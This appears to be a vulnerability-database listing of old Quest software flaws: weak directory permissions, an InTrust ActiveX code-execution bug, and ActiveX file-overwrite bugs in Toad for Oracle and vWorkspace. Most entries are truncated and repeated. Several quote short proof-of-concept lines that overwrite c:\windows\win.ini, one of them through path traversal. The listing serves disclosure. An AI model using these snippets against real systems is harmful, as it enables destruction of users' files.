CVE-2012-0279

Quest Toad for Data Analysts 3.0.1 uses weak permissions Everyone: Full Control for the %COMMONPROGRAMFILES%\Quest Shared directory, which allows local users to gain privileges via a Trojan horse file...

CVE-2012-0279

CVE-2012-0279 affects Quest Toad for Data Analysts 3.0.1. The vulnerability arises from weak permissions (Everyone: Full Control) on the %COMMONPROGRAMFILES%\Quest Shared directory, enabling local users to place a Trojan horse file and gain privileges. Root cause: overly permissive directory perm...

CVE-2012-0279

Quest Toad for Data Analysts 3.0.1 uses weak permissions Everyone: Full Control for the %COMMONPROGRAMFILES%\Quest Shared directory, which allows local users to gain privileges via a Trojan horse file...

Quest InTrust Annotation Objects ActiveX Control Add Method Vulnerability

Added: 04/27/2012 BID: 52765 OSVDB: 80662 Background InTrust collects, stores, reports and alerts on event log data from Windows, Unix and Linux systems. Problem Quest Intrust Annotation Objects ActiveX Control AnnotateX.dll is vulnerable to remote code execution due to an input validation error...

Quest InTrust Annotation Objects ActiveX Control Add Method Vulnerability

Added: 04/27/2012 BID: 52765 OSVDB: 80662 Background InTrust collects, stores, reports and alerts on event log data from Windows, Unix and Linux systems. Problem Quest Intrust Annotation Objects ActiveX Control AnnotateX.dll is vulnerable to remote code execution due to an input validation error...

Quest InTrust Annotation Objects ActiveX Control Add Method Vulnerability

Added: 04/27/2012 BID: 52765 OSVDB: 80662 Background InTrust collects, stores, reports and alerts on event log data from Windows, Unix and Linux systems. Problem Quest Intrust Annotation Objects ActiveX Control AnnotateX.dll is vulnerable to remote code execution due to an input validation error...

Quest InTrust Annotation Objects ActiveX Control Add Method Vulnerability

Added: 04/27/2012 BID: 52765 OSVDB: 80662 Background InTrust collects, stores, reports and alerts on event log data from Windows, Unix and Linux systems. Problem Quest Intrust Annotation Objects ActiveX Control AnnotateX.dll is vulnerable to remote code execution due to an input validation error...

Quest InTrust - Annotation Objects Uninitialized Pointer (Metasploit)

This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/ require 'msf/core' class Metasploit3 'Quest InTrust...

Quest vWorkspace 7.5 Connection Broker Client ActiveX Control (pnllmcli.dll 7.5.304.547) SaveMiniLaunchFile() Method Remote File Creation / Overwrite

!-- Quest vWorkspace 7.5 Connection Broker Client ActiveX Control pnllmcli.dll 7.5.304.547 SaveMiniLaunchFile Method Remote File Creation / Overwrite ie7/8 vendor site: http://www.quest.com/ file tested: QuestvWorkspace-75--32-bit75.zip Binary Path: C:WINDOWSsystem32pnllmcli.dll CLSID:...

Quest Toad for Oracle ActiveX unauthorized access

It's possible to access files via unsafe methods...

Quest Toad for Oracle Explain Plan Display ActiveX Control (QExplain2.dll 6.6.1.1115) Remote File Creation / Overwrite

!-- Quest Toad for Oracle Explain Plan Display ActiveX Control QExplain2.dll 6.6.1.1115 Remote File Creation / Overwrite vendor site: http://www.quest.com/ file tested: QuestToad-Development-Suite-for-Oracle110R2.exe CLSID: F7014877-6F5A-4019-A3B2-74077F2AE126 Progid: QExplain2.ExplainPlanDisplay...

Quest vWorkspace ActiveX unauthorized access

It's possible to modfi files via unsafe functions...

Quest Toad For Oracle Explain Plan Display File Creation / Overwrite

try obj.SaveToFile"c:\windows\win.ini"; catche try obj.SaveToFile"../../../../../../../../../../windows/win.ini"; catche original url: http://retrogod.altervista.org/9sgquesttoadpoc.htm...

Quest vWorkspace 7.5 Remote File Creation / Overwrite

var obj = new ActiveXObject"PNLLM.Client.1"; obj.SaveMiniLaunchFile"","c:\windows\win.ini"; original url: http://retrogod.altervista.org/9sgquestvworkspacepoc.htm...

Quest vWorkspace 7.5 Connection Broker Client - ActiveX Control 'pnllmcli.dll 7.5.304.547' SaveMiniLaunchFile() Method Remote File Creation / Overwrite

var obj = new ActiveXObject"PNLLM.Client.1"; obj.SaveMiniLaunchFile"","c:\windows\win.ini";...

Quest Toad for Oracle Explain Plan Display ActiveX Control - 'QExplain2.dll 6.6.1.1115' Remote File Creation / Overwrite

try obj.SaveToFile"c:\windows\win.ini"; catche try obj.SaveToFile"../../../../../../../../../../windows/win.ini"; catche...

Quest Toad for Oracle Explain Plan Display ActiveX Control - QExplain2.dll 6.6.1.1115 Remote File Creation Overwrite

Quest Toad for Oracle Explain Plan Display ActiveX Control - QExplain2.dll 6.6.1.1115 Remote File Creation Overwrite try obj.SaveToFile"c:\windows\win.ini"; catche try obj.SaveToFile"../../../../../../../../../../windows/win.ini"; catche...

Quest Toad for Oracle Explain Plan Display ActiveX Control Remote File Creation

Exploit for windows platform in category remote exploits try obj.SaveToFile"c:\windows\win.ini"; catche try obj.SaveToFile"../../../../../../../../../../windows/win.ini"; catche 0day.today 2018-03-09...

Quest vWorkspace 7.5 Connection Broker Client ActiveX SaveMiniLaunchFile()

Exploit for windows platform in category remote exploits var obj = new ActiveXObject"PNLLM.Client.1"; obj.SaveMiniLaunchFile"","c:\windows\win.ini"; 0day.today 2018-02-19...

Quest vWorkspace 7.5 Connection Broker Client - ActiveX Control pnllmcli.dll 7.5.304.547 SaveMiniLaunchFile() Method Remote File Creation Overwrite

Quest vWorkspace 7.5 Connection Broker Client - ActiveX Control pnllmcli.dll 7.5.304.547 SaveMiniLaunchFile Method Remote File Creation Overwrite var obj = new ActiveXObject"PNLLM.Client.1"; obj.SaveMiniLaunchFile"","c:\windows\win.ini";...